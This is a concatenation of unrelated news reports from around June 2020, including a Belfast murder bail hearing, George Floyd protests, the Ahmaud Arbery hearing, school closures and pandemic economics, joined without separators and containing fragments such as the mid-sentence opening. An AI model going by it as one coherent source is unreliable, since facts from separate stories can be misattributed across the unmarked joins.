Lawlor, 36, was shot dead the next day when he went to the city's Ardyone area.

Details emerged as a man currently on police bail over the killing on April 4 failed in a bid to have his curfew removed.

The suspect, also aged 36, has not been charged with any offences connected to the murder.

But a detective inspector told Belfast Magistrates' Court he is believed to have met Lawlor at a Tesco car park in Crumlin, Co Antrim 24 hours before the killing.

Cash was exchanged and arrangements made for the murder victim to call at a house on Etna Drive the following day.

"Robert Lawlor did attend that appointment, and when he arrived he was met by a gunman who exited (the address) and shot him dead in broad daylight," the detective said.

He was hit several times and died at the scene.

Stray bullets also struck a car parked outside the property, narrowly missing one of Lawlor's associates.

According to police it was sheer good luck that others in the street were not hurt or killed.

A Volkswagen Scirocco, thought to have been used as a getaway car, was found burnt out in a nearby street minutes later.

Originally from Dublin, Lawlor was widely reported to have been heavily involved in a feud between rival Drogheda-based factions.

He had been linked to the abduction and murder of 17-year-old Keane Mulready-Woods in January.

Police stressed the scale of the probe into Lawlor's killing.

"This murder is directly linked to a feud between several organised crime gangs originating out of the Republic of Ireland," the detective said.

"It's a comprehensive and complex investigation, with numerous links to organised crime gangs operating internationally, as well as mainland UK and throughout Ireland."

The suspect seeking to have his curfew lifted was arrested three days after Lawlor was shot dead.

District Judge George Conner heard officers detained him during a search operation at his mother's home.

He was subsequently released on police bail to live at an undisclosed location while the murder investigation continues.

Defence barrister Bobbie-Leigh Herdman claimed the curfew was "disproportionate, unnecessary and punitive".

The killing and the alleged meeting between her client and Lawlor a day earlier both occurred during daytime, she stressed.

But the detective responded: "The police case is that a significant amount of planning and preparation for the murder was carried out during the hours of darkness.

"That's why we would ask that the curfew is kept in place."

Ruling that the bail term must remain in place, Mr Conner said it was not an unreasonable condition
Two of the five Catholic schools in South Jersey run by the Diocese of Camden that were scheduled to close their doors for good have been saved and will reopen.

A June 1 letter sent by the Bishop of Camden Dennis J. Sullivan to Reverend Joseph Wallace and posted in the Save Wildwood Catholic Academy Facebook group Thursday stated the Diocese had approved a proposal from Wildwood Catholic High School and Cape Trinity Catholic Elementary School for the two schools to merge.

It is unfortunate that it took the announcement of the closure of Wildwood Catholic High School and Cape Trinity Catholic School before the community at large was willing to give Catholic school education in the Wildwoods the attention and concern it deserves, Sullivan wrote.

The Bishop added he was impressed with several of the initiatives, including the fundraising effort conducted to save the schools, raising more than $1 million cash, and restructuring to combine both institutions into a K-12 school named the Wildwood Catholic Academy.

The proposal comes with stipulations, Sullivan wrote. The newly-formed Academy will be required to publish quarterly reports on enrollment, fundraising, and budget figures. The Diocese wrote that if there are two consecutive quarters where the required reports do not meet the approved goals and budget, the Academy will have to provide the students parents and other stakeholders with the information within five business days.

It is unfair to the families of Wildwood and Cape May County for this to happen a third time, Bishop Sullivan wrote. It must likewise be understood that the Diocese of Camden is not in a position to offer a bailout to these institutions now or in the future.

People from the Five-Mile-Island area and afar, including alumni from the school, undertook the fundraising effort to save the schools for more than six weeks since the closings were announced. The excitement of the news was evident in the statement released by the school Thursday.

It is with complete joy and blissful energy we get to share the news that Wildwood Catholic Academy will be open July 1, 2020!!! Wildwood Catholic High School Principal Sr. Sheila Murphy said in a statement posted on Facebook.

Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. Tell us your coronavirus story or send a tip here.

Chris Franklin may be reached at cfranklin@njadvancemedia.com.
The Pyramid Cabaret will open its doors and its stage to live music on June 13, almost three months after the COVID-19 pandemic forced the downtown concert venue to go silent.

Hey there, time traveller!

This article was published 4/6/2020 (595 days ago), so information in it may no longer be current.

The Pyramid Cabaret will open its doors and its stage to live music on June 13, almost three months after the COVID-19 pandemic forced the downtown concert venue to go silent.

Local indie-rock group Deep Dark Cave will headline the show (proceeds will go to the Black Lives Matter movement) at the club on Fort Street. Shows are also scheduled for June 19, 26 and July 24.

"We see no reason not to do it," says David McKeigan, the Pyramids manager. "Im going by what the government tells us. Theyre allowing us to reopen with the proper conditions."

The main condition is the same one Manitobas restaurants and bars must follow  the Pyramid must allow only half its usual capacity. That means seats and tables will be set up for 160 people and will be two metres apart.

McKeigan checked out the closed Pyramid at the end of May, after learning that restaurants and bars would soon be open to 50 per cent capacity.

"We set it up to see how it would look," he says.

McKeigan recognizes there will be those in Winnipeg who enjoy live music but remain worried about contracting the coronavirus and whether concerts will be part of "the new normal."

"There is a lot of uncertainty," he says. "Some bands have questioned if people will come out. If (audiences) come, great. If they dont, no problem. The new normal also means people will want to go out and see a band.

"If I were in Toronto I wouldnt open. They still have hundreds of cases. What are we down to, nine? Im hoping we get to zero."

Jeremy Koz, who fronts Deep Dark Cave, performs with eight groups at clubs across the city, from the hair-rock tribute Big Top Radio to the traditional jazz of the Ron Paley Band. A gig, even eight days hence, couldnt come soon enough.

"Its been hard to get motivated," Koz says. "I applaud those whove done online broadcasts but I need to be in front of an audience.

"I havent personally sang in three months, besides a karaoke night at my house."

Koz and McKeigan contacted each other in May, and began their preparations. For McKeigan, that meant upping the Pyramids cleanliness regime to meet provincial health departments COVID-19 guidelines. For Koz, that meant getting a band back together.

"We have to follow the government guidelines. Thats No. 1," he says. "Can we space ourselves out onstage? We have to make sure venues are spacing out their tables. And some of our players arent comfortable yet (with performing in public). But people who are on board are aching to be onstage."

Ready, Pet, Go! Leesa Dahl looks at everything to do with our furry, fuzzy, feathered, fishy (and more!) pet friends. Arrives in your inbox each Monday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement.

McKeigan expects local artists will get most of the gigs at Winnipeg clubs in the near future. The border between Canada and the U.S. remains closed to all but essential traffic, preventing American groups from touring here.

Differing provincial pandemic guidelines  Manitoba regulations require out-of-province visitors to self-quarantine for 14 days upon arrival  will make a cross-Canada tour in 2020 next to impossible, he says.

This year was always going to be a struggle for the Pyramid because city construction crews are working on Fort Street this summer, replacing water mains and building new sidewalks.

"Construction is another obstacle, and that has nothing to do with the virus," he says. "Itll be great when its done."

alan.small@freepress.mb.ca

Twitter:@AlanDSmall

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China on Thursday said foreign airlines blocked from operating in the country over virus fears would be allowed to resume limited flights, lifting a de facto ban on US carriers, a day after Washington ordered the suspension of all Chinese travel into and out of the US. The apparent decision to step back by Beijing comes as tensions between the world's two superpowers are sent soaring by a series of issues including Donald Trump's accusations over China's handling of the pandemic, Hong Kong and Huawei. The latest spat was rooted in the Civil Aviation Authority of China (CAAC) deciding to impose a limit on foreign airlines based on their activity as of March 12. Because US carriers had suspended all flights by that date their cap was set at zero, while Chinese carriers' flights to the US continued. On Wednesday the US said it would block Chinese passenger flights from June 16, raising concerns of another front being opened up in the economic titans' standoff. But the CAAC on Thursday said all foreign airlines not listed in the March 12 schedule would now be able to operate one international route into China each week. Relations between Washington and Beijing have become increasingly strained in recent months after Trump accused China of causing the virus intentionally, while a plan to impose a strict security law on Hong Kong has increased tensions substantially. The US has also imposed restrictions on Chinese telecom giant Huawei and ordered a probe into the actions of Chinese companies listed on American financial markets. For its part, Beijing has mocked the US stance on Hong Kong in light of civil rights protests across the US following the police killing in Minneapolis of George Floyd, an unarmed African-American man. At the same time, China has gradually relaxed strict air travel caps on some foreign firms as the coronavirus outbreak in the country appears to be under control. Beijing said last week it would almost triple the number of permitted flights to and from China in June following an outcry from Chinese stranded abroad. China has also set up fast-track entry procedures for business travellers from several other countries, including Singapore and South Korea. Passengers must be tested for COVID-19 upon arrival in China. The CAAC said Thursday that routes whose passengers all test negative for three consecutive weeks will be allowed to operate an additional flight each week. Routes with five or more passengers testing positive will be suspended for at least one week, CAAC said.
BAKU, Azerbaijan, June 5

By Fidan Babayeva  Trend:

Azertutun LLC, a subsidiary of Azerbaijan Industrial Corporation OJSC, plans to sow Virginia tobacco at more than 1,500 hectares of land in Zaqatala, Balakan, Gakh and Sheki districts in north-western Azerbaijan in 2020, Trend reports on June 5 referring to the source in the corporation.

The tobacco planting campaign is currently nearing completion at the farms, the source said. To date, 1,418.6 hectares are sown with tobacco, which is 93.4 percent of the area planned to be covered this year.

"The contracts for the production of tobacco have been signed with 191 farmers in the Azerbaijani districts this year, the source said. So far, the 1,492-hectare territory was plowed for planting tobacco. Fertilizers have been used on the 1,406-hectare area. To date, 520.56 hectares were sown with tobacco in Sheki, 275.2 hectares in Gakh, 383.1 hectares in Zagatala and 239.69 hectares in Balakan.

The information on the product from such districts of the country as Yevlakh, Sheki, Gakh, Zagatala and Balakan are integrated through the Azexport website into the international electronic-trading platforms, including Allbiz, Agroserver and Tradekey, as part of the state program "On the development of tobacco and tobacco products in Azerbaijan".

----

Follow the author on Twitter: Fidan_Babaeva
Wagner said one of the few male role models in his life was his uncle Jack, who was a communist. Wagner said he didnt want to reveal Jacks political leanings to the committee, but he also didnt want to lie. He asked his uncle Jack what he should do and he said Jack replied, put my name down, I am a communist now and will be a communist always.
By Express News Service

THIRUVANANTHAPURAM: The Kadinamkulam police arrested five people for allegedly gang-raping a 24-year-old woman near Puthukurichy beach on Thursday night. Those arrested also include the victim's husband, who police say facilitated the rape.

The woman and her 18-month-old son were brought by her husband to his friend's house near the beach on Thursday evening. The husband and his five friends consumed alcohol and also forced the woman to take it.

She was then dragged out of the house and into the bushes where they raped her in turns. The woman, meanwhile, escaped from the place and ran to the road where she sought the help of two youths, who were travelling in a car. They dropped her to safety and informed the police.

The women in her initial testimony told the police that six people, including her husband, were involved in the crime. However, she later recanted from that and in an apparent bid to rescue her husband said only five people had perpetrated the crime. However, the police did not buy her diluted version. A search is on for the sixth person, who is said to be absconding.

Meanwhile, the police said they will file another case against the arrested under the POCSO Act for abusing the woman in front of her child.

Kadinamkulam police sources said when the woman was physically examined, bruises were found on her body, including the private parts.
Jade Goody's son Bobby Brazier has paid tribute to his late mother on what would have been her 39th birthday on Friday.

The model, 16, shared an old image of his mum dressed in a silk ballgown, wearing a tiara while tucking into a cone of chips on his Instagram Stories.

In the snap, Jade was laden with jewels and wore a dazzling necklace and a selection of sparkling bracelets over her white satin gloves.

'Legends never die' Jade Goody's son Bobby Brazier has paid tribute to his late mother on what would have been her 39th birthday on Friday

On the photograph he wrote the words 'always kept it 100' and 'legends never die', as he honoured his mother on her birthday.

Bobby, whose dad is TV personality Jeff Brazier, was just five when his mum died following a battle with cervical cancer in 2009.

Bobby has been documenting his time in lockdown on social media and recently shared a sweet photo of his brother Freddie, calling him his 'best mate'.

The teenager signed to top modelling agency Unsigned Group last year and has walked for the likes of Dolce And Gabbana and worked with Tommy Hilfiger.

Sweet: Bobby has been documenting his time in lockdown on social media and recently shared a sweet photo of his brother Freddie, calling him his 'best mate'

Jeff previously told The Sun: 'He's signed up with a model agency because he had quite a few that wanted to take him on.

'I know he's quite sort of hopeful for what that might bring, and basically it just seems like there's a few opportunities available to him.'

Bobby recently revealed that his modelling career began when he got into trouble at school, which led to a fateful meeting with an agency scout.

During an Instagram Q&A session, the teen said it was a chance encounter with a model scout which kickstarted his journey into couture.

Family: The siblings are the sons of presenter Jeff Brazier and the late Jade

Memories: The teenager bears a striking resemblance to his late mother (pictured in 2004)

One fan asked: 'How'd you get into modelling?'

Bobby replied: 'Jokes story. I was in trouble at school and had to go in for a meeting.

'So before I go, I go Costa for a little pep talk with my dad and then when we leave @cesarpin is chasing me down the street asking me if I'm a model.'

Cesar Perin is a model scout who signed Bobby up to talent agency Unsigned Group.

Previously speaking to MailOnline about his experiences in the modelling world, Bobby said: 'Modelling has been great fun, I'm loving it: you get a chance to do something exciting.

Model behaviour: Bobby made his runway debut walking for Dolce & Gabbana at Milan Fashion Week Men's show in January

'I'm modelling alongside my apprenticeship; I'm not sure if it will be full time yet, we will have to see how it goes!'

It came after proud dad Jeff discussed how Bobby and Freddie, 14, had grown into 'wonderful young men' after adjusting to the trauma of their mother Jade's death.

Jade passed away on Mother's Day, 10 years ago, but was able to speak with Bobby and Freddie, who were just five and four years old at the time, before her death.

After her cervical cancer diagnosis, Jade's cancer spread to her bowel, liver and groin and she died on Mother's Day in March 2009.

Speaking to Barrow-in-Furness based paper The Mail, Jeff said the last 10 years had been 'tremendously difficult - that's the only way I can really put it. There's been ups and downs, but we've come through it together.'

The star - who wasn't in a relationship with Jade at the time of her passing - went on that to say that his sons were 'coming of age' and 'have grown into wonderful young men. I'm hugely proud of them.'
Portland Mayor Ted Wheeler and other leaders on Friday addressed the public about protests that have drawn thousands to the citys core.

Thursdays protests marked the eighth straight night of demonstrations in Oregons largest city. They come as part of an ongoing, massive wave of protests that has swept the nation after the death of George Floyd, a black man killed by police in Minneapolis.

Protesters united against police brutality on the citys east and west sides Thursday, demonstrating without incident for hours before unrest broke out overnight and 12 were arrested.

Wheeler reflected on Portlands recent protests, saying theyre unlike demonstrations hes seen during his tenure as mayor. He said protesters span all demographics and demand justice and reconciliation  and they want to do it in partnership with government.

He also acknowledged black leaders who have "shared their pain and their resilience and their ideas for moving forward.

I am listening," he said. "I will keep listening. And Ill make sure that the city of Portland takes action.

He also teased undescribed police reform and accountability actions he plans to share next week.

Portland Police Bureau Deputy Chief Chris Davis said during the news conference that authorities have seen a distinction between protest groups and people who splinter off from the demonstrations and stay downtown after the events are over.

Such agitators, as police have called them, set multiple fires and threw things at officers overnight.

Several drivers were driving recklessly while officers were dispersing the group, going the wrong way on a one-way street and speeding as fast as 55 mph downtown, according to police.

Some had their lights off, police said, and pedestrians appeared to be nearly struck several times.

Officers stopped three drivers. Each was arrested. The cars were towed.

Police said their sound truck became a target of the groups aggression as officers continued to disperse the crowd. They said lasers were shined at the driver and rocks and glass bottles were thrown at the truck.

Davis said police used a Long Range Acoustic Device a couple times as items were being thrown at them.

The LRAD, as its known, serves as a public address system and a device that emits a tone "thats very hard to be around, Davis said. The tone, he said, encourages people to leave a given area.

He said the police bureaus use of the device is rare and that the bureau hasnt always found it to be effective.

Wheeler was also asked about the police bureaus use of tear gas during Portland protests.

Lets be honest  its ugly. It looks ugly, Wheeler said. And nobody who knows this community wants to see that.

He said hed support a ban on tear gas if police had a viable alternative that wouldnt lead to higher levels of physical force.

Right now, he said, hes not there.

Other developments:

- Markisha Smith, director of the Portland Office of Equity and Human Rights, reflected on a heavy week that featured Floyds memorial, the late Breonna Taylors birthday and the ongoing protest movement. The movement, she said, feels different than others. "It feels like a strong wave is sweeping our country for the first time, she said. She offered responses to questions shes gotten about what comes next and how people can help.

- Wheeler said he was deeply moved by Floyds memorial service and encouraged people to watch it.

The news conference can be viewed in the video above.

-- Jim Ryan; jryan@oregonian.com; 503-221-8005; @Jimryan015

Maxine Bernstein contributed to this report.

Subscribe to Oregonian/OregonLive newsletters and podcasts for the latest news and top stories.
The discovery of the novel coronavirus and its threat to the health of the public had led to significant changes to the economy, healthcare, and the lifestyle of everyone. The changes include the drop in the cost of rent.

A Decline in the Cost of Rent

Based on an article, companies that had permitted the majority of their workforce to work from home had caused a sudden drop in the cost of the rent. According to the article, the cost of rent for a one-bedroom apartment in San Francisco's major metro region had dropped by 9.2 percent compared to cost from June 2019. In the entire country, the rent for one-bedroom apartments had also dropped by 0.2 percent. It implies the possibility that many people who have temporarily relocated to the cities to work may have opted to go back home after being permitted by their employers to bring their work home. It also suggests a possibility that more workers would be leaving the city soon as they shift to a work-from-home work setting.

The places where major tech companies operate had likewise seen a great decline in the cost of rent as companies like Google, Facebook, and Twitter permitted their employees to work from home.

In Los Angeles, California, rent prices had also dropped by 3.6 percent, according to the article.

During the Lockdown

In the first few months of the year, widespread lockdown orders were implemented by many states across the United States. A lot of people in the workforce had either lost their jobs or given the option to work from home by companies that were allowed to operate amid the lockdown orders. Those who lost their jobs were left with no option but to seek unemployment benefits from the government to provide for their needs and their families.

Check these out:

Working from Home

Presently, many states are slowly reopening their economies and allowing businesses that adhere to COVID-19 preventive measures to operate once more. As this unfolds, more job opportunities are expected soon. However, many adjustments are still being made by many large-scale companies to keep their employees safe from the coronavirus. For example, according to an article, Facebook had recently announced that the employees they would be hiring will be given the option to work remotely. It was further revealed in the article that the company is readying its system to allow employees, whose nature of work can be done remotely, to work from home in the coming years.

Other companies such as Twitter and Google had likewise announced that they will be permitting their employees to work from home until the end of the year. This implies that indeed, many people from the workforce would be gradually shifting to a work-from-home work setting.
Another week, another classic example of the double standards afforded to men and women when it comes to what they wear.

Independent MEP Luke 'Ming' Flanagan was seen in a video conference for a European Parliament committee meeting on agriculture on Tuesday wearing a shirt, but very little on his bottom half.

He filmed his live stream in portrait, accidentally showing off his bare legs, which he was seen rubbing while sitting on a bed.

EU interpreters, translating his statement, could be heard stifling laughter as the Midlands North West representative spoke.

The committee's chair, German MEP Norbert Lins, smiled as he thanked Flanagan for his contribution. Nothing more, nothing less.

Imagine if that had been a female MEP, sitting there with just a shirt on, on her bed, and very little on her bottom half as she absent-mindedly rubbed her legs.

What do you think would have happened?

Given the double standards when it comes to what women wear and how they dress, you'd have to think someone would have said something.

They would have stopped the meeting. They would have told her that she wasn't dressed appropriately. Would she mind just flipping her camera around? Was she aware of how she looked?

Senator Lynn Ruane was reminded of those double standards when she was told by a staff member of Lidl that she couldn't enter the store because she was dressed "inappropriately".

Video of the Day

She tweeted that she was turned away for wearing a swimsuit and sarong despite "men walking around in vests showing just as much skin".

"As if me wearing a swimsuit for a top in the summer is any different to any other little tank top I'd wear. Get a grip," she wrote.

Read More

Schools all over the world regularly make headlines for sending girls home for wearing outfits that show their collarbones, bra straps or knees.

A receptionist was sent home from a PWC office in the UK after refusing to wear heels.

Well-groomed and smart in a business setting always seems to imply at least a "little make-up" and heels for women.

Photos did the rounds of armed French police confronting a woman on a beach and making her remove some of her clothing as part of a controversial ban on burkinis.

Three cops, with guns, standing over her.

Dress codes seem to be based on either not distracting men or "entertaining" them, like cheerleaders and ring girls.

Society still tells women to dress a certain way. Wear too little and it's a problem; cover up and it's a problem.

Let's stop telling them just what to wear.
What began as a protest of a bill has expanded into a full-fledged fight for democratic principles. Here are the key events of the protests in Hong Kong.

This article was first published on Stacker
The most telling test of democracy in our world is the treatment by nations of their minorities

Source of the Ruse

 Is good Propaganda.

Rising from a fall

 should make you proud

One mans poison

 is vaccination for all

Turning the other cheek

 may give you a crick in the neck. 

 From The Antiverbs of Bachchoo

The knee of the United States of America has been on the gullet of the blacks who were forcibly brought as slaves to its shores and have ever since struggled to wrest it off. The confrontations between unprecedented numbers of the citizenry and the police and National Guard now seem to be a decisive test of Americas democracy and its future.

President Trump, the democratically elected Caligula, now says he will send the American army to fight the American people who are demanding an end to the knee-on-the-gullet disposition of parts of the institutional apparatus of the American state.

The murder of George Floyd may be a routine event in this ignominious record of sanctioned oppression, but in our time, today, the reaction to it is an international historical event.

The murder of George Floyd and the reaction of the American nation and supporters of justice and change all over the world who demonstrated with them, parallels events in other countries which raise the same questions.

Lets, gentle reader, ask these questions instead of timidly posing them. Here they are:

OK, one individual dies as a result of American police racism. Nothing new. The nation explodes with more white people on the nationwide demonstrations than black. This means that a substantial and vociferous, active segment of the American population want a complete end to the racial and genocidal aspects of the nation which dedicated itself to welcome the wretched of the earth. The fight is for the abolition once and for all of racial discrimination.

In the same moment Hong Kong explodes as the Communist Party of China, the most successful state-controlled capitalist nation in history, seeks to impose rules of obedience on a resistant Hong Kong population. That population has inherited the traditions and aspirations of freedom concomitant with increasing global capitalism. It has not been subject to Party controlled capitalist growth, expansion or to global ambitions with state backing that the rest of China, in exchange for material benefits, accepts. Beijing has sent in its police and threatens Hong Kong with worse.

Trump and his reaction to this unprecedented universal demonstration may have done for him. The man has his back against a very high wall, (not of his making, or one that Mexico will pay for). Will an American army obey an order to fire on American citizens demanding an end to historic injustice?

The world is, in all manner and matter, on the way to globalisation. It may have begun in earlier centuries with the East India Company setting itself up as the first multinational, trading in volume across continents and governing the destiny of nations through that trade. The undoubted second phase of globalisation getting a boost was when electromagnetic waves were put to use as radio broadcasts. In this century the Internet, computers and social media have given the world the technology, which turns events into instantly universal news, enabling the teenager in Borneo or Malawi to assess the statements and actions of Trump in the wake of the murder of an African-American.

Trumps impossible promises to the gullible electorate of the US were that he would stop the movement of South American labour into the country and that he would bring back to, say, Detroit, the capital that had left it for places where labour was cheaper and the skills of modern manufacture could be easily instilled. He hasnt been able to do either.

Trumps promises and his imposed and threatened economic sanctions on Iran, in the service of political policy and on China in pursuit of elusive economic advantage demonstrates the interconnectedness of political policy and intercontinental trade. So do the sanctions, which China has now imposed on Australian imports because the Australian government ventured to criticise Beijings policy in Hong Kong.

Brexit is another manifestation of the reaction against aspects of globalisation. During the referendum campaign people who said they intended to vote for Brexit were repeatedly asked which of the policies of the European Union did they wish to negate or liberate Britain from. Answer came there none. The vast majority of the Brexit vote was a keep-Johnny-foreigner-out vote and it didnt have to declare itself as such because the campaign hid this xenophobia behind the vague slogan coined by the artful dodger, one Dominic Cummings: Take Back Control.

Trumps reactionary economic stances may have repercussions all over the world but the consequences will be slow in coming and only time will tell. The test that he is temperamentally (if not mentally) destined to fail is that of the national and global democratic backlash against Americas institutional racism. It is no surprise that President Obama has expressed his support for the demonstrators. Neither is it surprising that the stars of the world of arts have come out in support. And in these circumstances, one ought not to find it surprising that several former allies, associates and officers of the Trump administration have made statements against his vitriolic and unwise pronouncements.

The most telling test of democracy in our world is the treatment by nations of their minorities. African-Americans are a major minority. So are the citizenry of Hong Kong, the Uyghars of the Chinese North West and so, gentle reader, are the Muslims of India.

China is not a democracy but the US and India are constitutionally committed to being the largest ones in our world. The test of democracy is not simply that these nations hold multi-party elections every few years, but that they ensure in every sense the safety and equality of their citizens, regardless of their religion, race or regionality.

The knee has to come off the gullet and the rope off the innocent neck.
Credit: CC0 Public Domain

One's signature, or autograph if one is famous, is a unique identifier for many people. It is used to sign documents from business contracts, cheques, a marriage license and everything in between. However, for those whose native "pen", as opposed to tongue, is not based in an alphabet that can be written cursively, wherein letters are joined or ligatured in freehand, a signature is often off the cards for them.

Autographic for the people

Researchers from Korea and Japan have now developed a computer application that can generate a unique cursive signature for users whose written words is not based on an alphabet and who may not know how best to utilize such alphabets in the written word. Writing in the International Journal of Computer Applications in Technology, Jungpil Shin, Md Abdur Rahim, and Md Rashedul Islam of the The University of Aizu, in Fukushima, Japan, and Keun Soo Yun of Ulsan College, in South Korea, have used a cubic Bezier curve for the cursive connections between letters, the ligatures, and an affine transformation to modify the input characters to make them appear as if they have been written by a native-writer of the English alphabet. The system allows for modifications in the slant, scale, space between the characters, and line emphasis, so that a unique signature might be generated.

Automatic for the pencil

Once the synthetic signature has been generated, the software generates an animated tutorial video to show the putative user of that signature how to create it with pen on paper so that they might use it in the real-world to sign documents.

Of course, the generation of a unique signature using this technology might have wider application online for any user regardless of their written language. The security associated with the parameters used to generate each signature would need to be guaranteed so that it could not be reproduced by a third party but hashing the data string to encrypt it and preclude its duplication without the legitimate user's password would be possible. It might even be that digital signatures of this sort might exploit the blockchain technology usually associated with digital currencies.

Explore further Chinese to rise as a global language

More information: Jungpil Shin et al. A novel approach of cursive signature generation for personal identity, International Journal of Computer Applications in Technology (2020). Jungpil Shin et al. A novel approach of cursive signature generation for personal identity,(2020). DOI: 10.1504/IJCAT.2020.107423
In an open letter, a group of members of the all-female Mystic Krewe of Nyx, New Orleans' largest Carnival parading group, have issued a statement denouncing captain Julie Lea for her use of the phrase All Lives Matter in a social media post representing the krewe last weekend.

Leas post came as protests provoked by the death of George Floyd, a black man, at the hands of Minneapolis police began boiling in cities across the country. The slogan "All Lives Matter" has been associated with criticism of the Black Lives Matter movement that protests police brutality.

Lea subsequently apologized for the post, saying she was unaware of the implications, but she has not publicly allied herself or the krewe with the Black Lives Matter movement, as some members wish.

+7 Krewe of Nyx captain apologizes for All Lives Matter post that angered some members The captain of New Orleans largest Carnival parading organization has apologized for social media posts that featured a photo of a black chil

Lea is a former NOPD officer, who left the force in 2015 to take a position as Delgado Community College police chief. She was fired by the state college in 2017 for assigning two school officers to a private security detail during a funeral, which violated the state institution's policies.

The open letter to Lea, signed by scores of members and former members, questions the Nyx captains claim that she didnt understand the divisive meaning of All Lives Matter.

As a former police officer and a leader, we dont believe that you didnt know the meaning of these statements and why they are offensive to the Black community and its allies, the letter reads. A leader like you, in a predominantly black city, has no excuse to be that ignorant. This racist statement does not represent us.

Loyola University professor Lindsay Sproul, who has been a member of the all-female krewe for three years, said members hoped to be assured that their captain supported recent protests against police brutality.

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Basically we just want Julie Lea to stand with the Black Lives Matter movement, especially given the large number of black riders in the krewe, she said.

Sproul estimates that between 300 and 600 members of the group have decided to leave the organization because of the All Lives Matter post. They are requesting a refund of membership dues deposits.

Lea co-founded Nyx eight years ago. It has since grown to be the biggest parading group, with almost 3,500 riders in 2020.

The krewe announced a routine sale of merchandise to members on Saturday (June 6) morning, but has since postponed the sale without giving an explanation. Former members say they had planned to stage a protest during the sale at the krewes Mid-City headquarters.

Lea was unavailable for comment on Friday.
Ahmaud Arbery (L) poses with his mother, Wanda Cooper, in an undated photograph. (Courtesy of S. Lee Merritt)

Judge Rules Defendants in Ahmaud Arbery Death Will Stand Trial

A judge ruled on June 4 that all three defendants charged in the death of 25-year-old Ahmaud Arbery will advance to the trial court for murder.

In a preliminary hearing on Thursday, Magistrate Court Judge Wallace Harrell concluded that there was enough evidence for the cases against the defendants to proceed with a murder trial.

Arbery was fatally shot on a residential street on Feb. 23 as he ran through the small Georgia neighborhood. Last month, three men were arrested in connection with his death after video footage of the incident emerged on May 5.

A father and son, Gregory McMichael, 64, and Travis McMichael, 34, were arrested and charged with murder and aggravated assault on May 7 in the fatal shooting of the 25-year-old. The individual who captured the 36-second mobile footage of the violent encounter, 50-year-old William Roddie Bryan Jr., was arrested on charges of felony murder and criminal attempt to commit false imprisonment on May 21.

The footage, which was captured from a vehicle near the scene, showed the father, a former county police officer, confront Arbery. Shortly afterward, his son shot Arbery, the video showed.

The elder McMichael told officers previously that he and his son thought Arbery could have been a burglar, and so chased after him. According to a police report filed Feb. 23, the pair were in possession of a shotgun and a .357 Magnum revolver, and tailed Arbery in a white pickup truck as he ran.

The 64-year-old also claimed his son was attacked violently by Arbery, which is not evident in the footage. The video footage shows that at least three gunshots were fired.

During the probable cause hearing Thursday, the lead Georgia Bureau of Investigation (GBI) agent in the case testified that the three defendants used their pickup trucks to chase down and box in the 25-year-old as he attempted to escape the confrontation.

GBI agent Richard Dial said that after examining the footage of the incident, it was clear that Arbery was first shot in the chest, then in the hand, and the third shot hit his chest before he collapsed. Bryan told investigators that the gunman used a racial slur as he stood over Arbery as he lay dying, Dial testified.

Dial testified that the elder McMichael told police that he didnt know if Mr. Arbery had stolen anything or not, but he had a gut feeling that Arbery had committed prior break-ins in the neighborhood.

Special prosecutor Jesse Evans told the judge during the hearing that Arbery was chased, hunted down and ultimately executed.

He was on a run on a public road in a public subdivision. He was defenseless and unarmed.

News that the younger McMichael made an inflammatory remark as Arbery lay dying comes after the attorneys for Arberys family last week said the Department of Justice (DOJ) is investigating the his murder as a hate crime.

Georgia is 1 of 4 states in the United States that doesnt have a hate crime statute. However, the victims family attorneys said an active hate crime investigation is underway.

They said the Justice Department had been sent excerpts of social media posts and emails from individuals who knew the McMichaels for years, suggesting a history of hateful statements. The DOJ is able to act as a backstop to prosecute hate crimes in states without a hate crime statute, or where the crime isnt covered by state laws.

Dial testified Thursday that investigators found at least two racial slurs in messages on the younger McMichaels phone, and police body camera footage showed a Confederate flag sticker on a toolbox in his truck.

Meanwhile, comments on Bryans cellphone provided evidence of racist attitudes in his communications.

The DOJ, when contacted by The Epoch Times, pointed to a statement made earlier this month that it was reviewing the evidence in Arberys shooting death to determine whether federal hate crimes charges are appropriate.

Arberys mother, Wanda Cooper-Jones called the release of new details in court very, very heartbreaking.

He was afraid, Cooper-Jones said of her slain son. Life had placed him in a position where I couldnt protect him, and he wasnt able to protect himself.

All three defendants remain held without bond at the Glynn County Detention Center.

The Associated Press contributed to this report.
Largest And Oldest Maya Monument Ever Found Discovered Under Mexico Science Alert

Google Search a Target of U.S. Antitrust Probes, Rival Says Bloomberg

Panic, Pandemic and Payment Preferences (PDF) Bank of International Settlements. Both merchants and consumers appear to have been keen to reduce their use of cash. Many merchants made it clear through signage that they preferred contactless card payment, even for low-value payments. Some even went as far as to indicate that they would not accept cash. Maybe partly in response to this, and their own concerns about hygiene, many people reduced their use of cash in stores. In addition, there was a significant shift to online shopping, where cash is simply not a payment option.

The next big problem for the economy: Businesses cant pay their rent WaPo (Re Silc).

Millions Of Americans Skip Payments As Tidal Wave Of Defaults And Evictions Looms NPR

Termite Capitalism: how private equity is undermining the economy Open Democracy

Ex-Enron CEO Skilling Raises Funds for Energy Marketplace The Street (Michael Olenick). Thats nice.

Repair store faces hefty legal bill after losing David and Goliath fight with Apple over replacement iPhone screens The Register. The only way Apple could be losing money on its repair business is with Hollywood accounting.

#COVID19

China?

UK/EU

NY Dispatches: the newfound assertiveness of regional leaders No Yardstick

New Cold War

Trump Transition

Gutted Interior agency moves out West with top posts unfilled The Hill

2020

Syraqistan

Police State Watch

Black Injustice Tipping Point

The Jackpot

Class Warfare

How Apple learned automation cant match human skill Apple Insider. Whaddaya know, turns out labor power is worth paying for.

Antidote du Jour (via):

See yesterdays Links and Antidote du Jour here.
Embraer Brazilian Aviation Co (NYSE:ERJ)

Q1 2020 Earnings Call

, 9:30 a.m. ET

Contents:

Prepared Remarks

Questions and Answers

Call Participants

Prepared Remarks:

Operator

Good morning, ladies and gentlemen, and welcome to the audio conference call that will review Embraer's first-quarter 2020 results. Thank you for standing by. [Operator Instructions] As a reminder, this conference is being recorded and webcasted at ri.embraer.com.br. This conference call includes forward-looking statements or statements about events or circumstances which have not occurred.

